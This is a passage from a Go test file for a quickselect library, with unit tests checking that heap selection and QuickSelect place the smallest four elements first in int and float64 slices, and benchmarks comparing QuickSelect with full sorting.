t.Errorf("Expected smallest K elements to be '%v', but got '%v'", fixture.ExpectedK, resultK) 135 | } 136 | } 137 | } 138 | 139 | func TestHeapSelectionFinding(t *testing.T) { 140 | fixtures := []struct { 141 | Array IntSlice 142 | ExpectedK []int 143 | }{ 144 | {[]int{0, 14, 16, 29, 12, 2, 4, 4, 7, 29}, []int{0, 2, 4, 4}}, 145 | {[]int{9, 3, 2, 18}, []int{9, 3, 2, 18}}, 146 | {[]int{16, 29, -11, 25, 28, -14, 10, 4, 7, -27}, []int{-27, -11, -14, 4}}, 147 | {[]int{10, 25, 15, 35, 26, 40, 55}, []int{10, 15, 25, 26}}, 148 | {[]int{2, 10, 5, 3, 2, 6, 2, 6, 10, 3, 4, 5}, []int{2, 2, 2, 3}}, 149 | } 150 | 151 | for _, fixture := range fixtures { 152 | heapSelectionFinding(fixture.Array, 4) 153 | 154 | resultK := fixture.Array[:4] 155 | if !hasSameElements(resultK, fixture.ExpectedK) { 156 | t.Errorf("Expected smallest K elements to be '%v', but got '%v'", fixture.ExpectedK, resultK) 157 | } 158 | } 159 | } 160 | 161 | func TestFloat64SliceQuickSelect(t *testing.T) { 162 | fixtures := []struct { 163 | Array Float64Slice 164 | ExpectedK []float64 165 | }{ 166 | {[]float64{0.0, 14.3, 16.5, 29.7, 12.6, 2.4, 4.9, 4.2, 7.1, 29.3}, []float64{0.0, 2.4, 4.2, 4.9}}, 167 | {[]float64{9.3, 3.3, 2.7, 18.5}, []float64{9.3, 3.3, 2.7, 18.5}}, 168 | {[]float64{16.1, 29.3, -11.5, 25.3, 28.8, -14.7, 10.5, 4.4, 7.5, -27.9}, []float64{-27.9, -11.5, -14.7, 4.4}}, 169 | } 170 | 171 | for _, fixture := range fixtures { 172 | err := fixture.Array.QuickSelect(4) 173 | if err != nil { 174 | t.Errorf("Shouldn't have raised error: '%s'", err.Error()) 175 | } 176 | 177 | resultK := fixture.Array[:4] 178 | if !hasSameElementsFloat64(resultK, fixture.ExpectedK) { 179 | t.Errorf("Expected smallest K elements to be '%v', but got '%v'", fixture.ExpectedK, resultK) 180 | } 181 | } 182 | } 183 | 184 | func hasSameElements(array1, array2 []int) bool { 185 | elements := make(map[int]int) 186 | 187 | for _, elem1 := range array1 { 188 | elements[elem1]++ 189 | } 190 | 191 | for _, elem2 := range array2 { 192 | elements[elem2]-- 193 | } 194 | 195 | for _, count := range elements { 196 | if count != 0 { 197 | return false 198 | } 199 | } 200 | return true 201 | } 202 | 203 | func hasSameElementsFloat64(array1, array2 []float64) bool { 204 | elements := make(map[float64]int) 205 | 206 | for _, elem1 := range array1 { 207 | elements[elem1]++ 208 | } 209 | 210 | for _, elem2 := range array2 { 211 | elements[elem2]-- 212 | } 213 | 214 | for _, count := range elements { 215 | if count != 0 { 216 | return false 217 | } 218 | } 219 | return true 220 | } 221 | 222 | func bench(b *testing.B, size, k int, quickselect bool) { 223 | b.StopTimer() 224 | data := make(IntSlice, size) 225 | x := ^uint32(0) 226 | for i := 0; i < b.N; i++ { 227 | for n := size - 3; n <= size+3; n++ { 228 | for i := 0; i < len(data); i++ { 229 | x += x 230 | x ^= 1 231 | if int32(x) < 0 { 232 | x ^= 0x88888eef 233 | } 234 | data[i] = int(x % uint32(n/5)) 235 | } 236 | if quickselect { 237 | b.StartTimer() 238 | QuickSelect(data, k) 239 | b.StopTimer() 240 | } else { 241 | b.StartTimer() 242 | sort.Sort(data) 243 | b.StopTimer() 244 | } 245 | } 246 | } 247 | } 248 | 249 | // Benchmarks for QuickSelect 250 | func BenchmarkQuickSelectSize1e2K1e1(b *testing.B) { bench(b, 1e2, 1e1, true) } 251 | 252 | func BenchmarkQuickSelectSize1e3K1e1(b *testing.B) { bench(b, 1e3, 1e1, true) } 253 | func BenchmarkQuickSelectSize1e3K1e2(b *testing.B) { bench(b, 1e3, 1e2, true) } 254 | 255 | func BenchmarkQuickSelectSize1e4K1e1(b *testing.B) { bench(b, 1e4, 1e1, true) } 256 | func BenchmarkQuickSelectSize1e4K1e2(b *testing.B) { bench(b, 1e4, 1e2, true) } 257 | func BenchmarkQuickSelectSize1e4K1e3(b *testing.B) { bench(b, 1e4, 1e3, true) } 258 | 259 | func BenchmarkQuickSelectSize1e5K1e1(b *testing.B) { bench(b, 1e5, 1e1, true) } 260 | func BenchmarkQuickSelectSize1e5K1e2(b *testing.B) { bench(b, 1e5, 1e2, true) } 261 | func BenchmarkQuickSelectSize1e5K1e3(b *testing.B) { bench(b, 1e5, 1e3, true) } 262 | func BenchmarkQuickSelectSize1e5K1e4(b *testing.B) { bench(b, 1e5, 1e4, true) } 263 | 264 | func BenchmarkQuickSelectSize1e6K1e1(b *testing.B) { bench(b, 1e6, 1e1, true) } 265 | func BenchmarkQuickSelectSize1e6K1e2(b *testing.B) { bench(b, 1e6, 1e2, true) } 266 | func BenchmarkQuickSelectSize1e6K1e3(b *testing.B) { bench(b, 1e6, 1e3, true) } 267 | func BenchmarkQuickSelectSize1e6K1e4(b *testing.B) { bench(b, 1e6, 1e4, true) } 268 | func BenchmarkQuickSelectSize1e6K1e5(b *testing.B) { bench(b, 1e6, 1e5, true) } 269 | 270 | func BenchmarkQuickSelectSize1e7K1e1(b *testing.B) { bench(b, 1e7, 1e1, true) } 271 | func BenchmarkQuickSelectSize1e7K1e2(b *testing.B) { bench(b, 1e7, 1e2, true) } 272 | func BenchmarkQuickSelectSize1e7K1e3(b *testing.B) { bench(b, 1e7, 1e3, true) } 273 | func BenchmarkQuickSelectSize1e7K1e4(b *testing.B) { bench(b, 1e7, 1e4, true) } 274 | func BenchmarkQuickSelectSize1e7K1e5(b *testing.B) { bench(b, 1e7, 1e5, true) } 275 | func BenchmarkQuickSelectSize1e7K1e6(b *testing.B) { bench(b, 1e7, 1e6, true) } 276 | 277 | func BenchmarkQuickSelectSize1e8K1e1(b *testing.B) { bench(b, 1e8, 1e1, true) } 278 | func BenchmarkQuickSelectSize1e8K1e2(b *testing.B) { bench(b, 1e8, 1e2, true) } 279 | func BenchmarkQuickSelectSize1e8K1e3(b *testing.B) { bench(b, 1e8, 1e3, true) } 280 | func BenchmarkQuickSelectSize1e8K1e4(b *testing.B) { bench(b, 1e8, 1e4, true) } 281 | func BenchmarkQuickSelectSize1e8K1e5(b *testing.B) { bench(b, 1e8, 1e5, true) } 282 | func BenchmarkQuickSelectSize1e8K1e6(b *testing.B) { bench(b, 1e8, 1e6, true) } 283 | func BenchmarkQuickSelectSize1e8K1e7(b *testing.B) { bench(b, 1e8, 1e7, true) } 284 | 285 | // Benchmarks for sorting 286 | func BenchmarkSortSize1e2K1e1(b *testing.B) { bench(b, 1e2, 1e1, false) } 287 | func BenchmarkSortSize1e3K1e1(b *testing.B) { bench(b, 1e3, 1e1, false) } 288 | func BenchmarkSortSize1e4K1e1(b *testing.B) { bench(b, 1e4, 1e1, false) } 289 | func BenchmarkSortSize1e5K1e1(b *testing.B) { bench(b, 1e5, 1e1, false) } 290 | func BenchmarkSortSize1e6K1e1(b *testing.B) { bench(b, 1e6, 1e1, false) } 291 | func BenchmarkSortSize1e7K1e1(b *testing.B) { bench(b, 1e7, 1e1, false) } 292 | func BenchmarkSortSize1e8K1e1(b *testing.B) { bench(b, 1e8, 1e1, false) } 293 | --------------------------------------------------------------------------------